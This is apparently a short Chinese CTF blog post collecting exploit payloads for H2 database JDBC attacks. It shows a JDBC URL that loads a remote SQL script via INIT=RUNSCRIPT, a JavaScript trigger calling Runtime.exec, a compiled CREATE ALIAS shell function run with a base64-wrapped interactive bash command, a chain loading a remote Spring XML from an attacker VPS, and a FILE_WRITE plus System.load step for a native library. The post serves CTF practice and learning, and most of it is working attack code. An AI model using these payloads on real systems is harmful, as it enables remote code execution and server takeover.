h2sql
1diot9 Lv3

第一次用到是在ez_solon里面

先简单给个EXP吧,之后再碰到再详细写

找有getConnect的类,然后url这样写

1
UnpooledDataSource dataSource = new UnpooledDataSource("jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/h2.sql'", "1diOt9", "123456", "org.database.Driver");

.sql文件有多种写法

Script引擎加载(jdk17失效)

一是直接用JavaScript引擎加载执行:

1
2
3
4
5
CREATE TABLE test (
id INT NOT NULL
);
CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript
Java.type("java.lang.Runtime").getRuntime().exec("calc");';

值得注意的是,这个方法在jdk17里会失效,因为Java17版本中JavaScript引擎(Nashorn)已经被删除。NCTF25的H2 Revenge就考了这个。

定义函数执行

二是定义一个函数执行:

1
CREATE ALIAS SHELL AS $$ String shellexec(String cmd) throws java.io.IOException { System.setSecurityManager(null);java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : "";  }$$;CALL SHELL('bash -c {echo,aaa}|{base64,-d}|{bash,-i}');

值得注意的是如果只有jre而没有jdk,那么这个也会失效。因为这个方法需要jdk将函数编译后使用,如果只有jre就没办法编译了。

调用public static 函数

1
2
3
4
5
6
7
8
9
10
11
MyDataSource myDataSource = new MyDataSource("jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'", "1diOt9", "123456");
CREATE ALIAS CLASS_FOR_NAME FOR 'java.lang.Class.forName(java.lang.String)';
CREATE ALIAS NEW_INSTANCE FOR 'org.springframework.cglib.core.ReflectUtils.newInstance(java.lang.Class, java.lang.Class[], java.lang.Object[])';
CREATE ALIAS UNESCAPE_VALUE FOR 'javax.naming.ldap.Rdn.unescapeValue(java.lang.String)';

SET @url_str='http://vps:port/h2_revenge_evil.xml';
SET @url_obj=UNESCAPE_VALUE(@url_str);
SET @context_clazz=CLASS_FOR_NAME('org.springframework.context.support.ClassPathXmlApplicationContext');
SET @string_clazz=CLASS_FOR_NAME('java.lang.String');

CALL NEW_INSTANCE(@context_clazz, ARRAY[@string_clazz], ARRAY[@url_obj]);

写文件

NCTF2024 Web方向题解-CSDN博客

CALL FILE_WRITE(X’自己的so的十六进制编码’, ‘/tmp/exp.so’);

CREATE ALIAS IF NOT EXISTS System_load FOR “java.lang.System.load(java.lang.String)”;

CALL System_load(‘/tmp/exp.so’);

参考

H2 database漏洞复现 - Running_J - 博客园

[JavaSec/9.JDBC Attack/h2/index.md at main · Y4tacker/JavaSec](https://github.com/Y4tacker/JavaSec/blob/main/9.JDBC Attack/h2/index.md)

由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 22.8k 访客数 访问量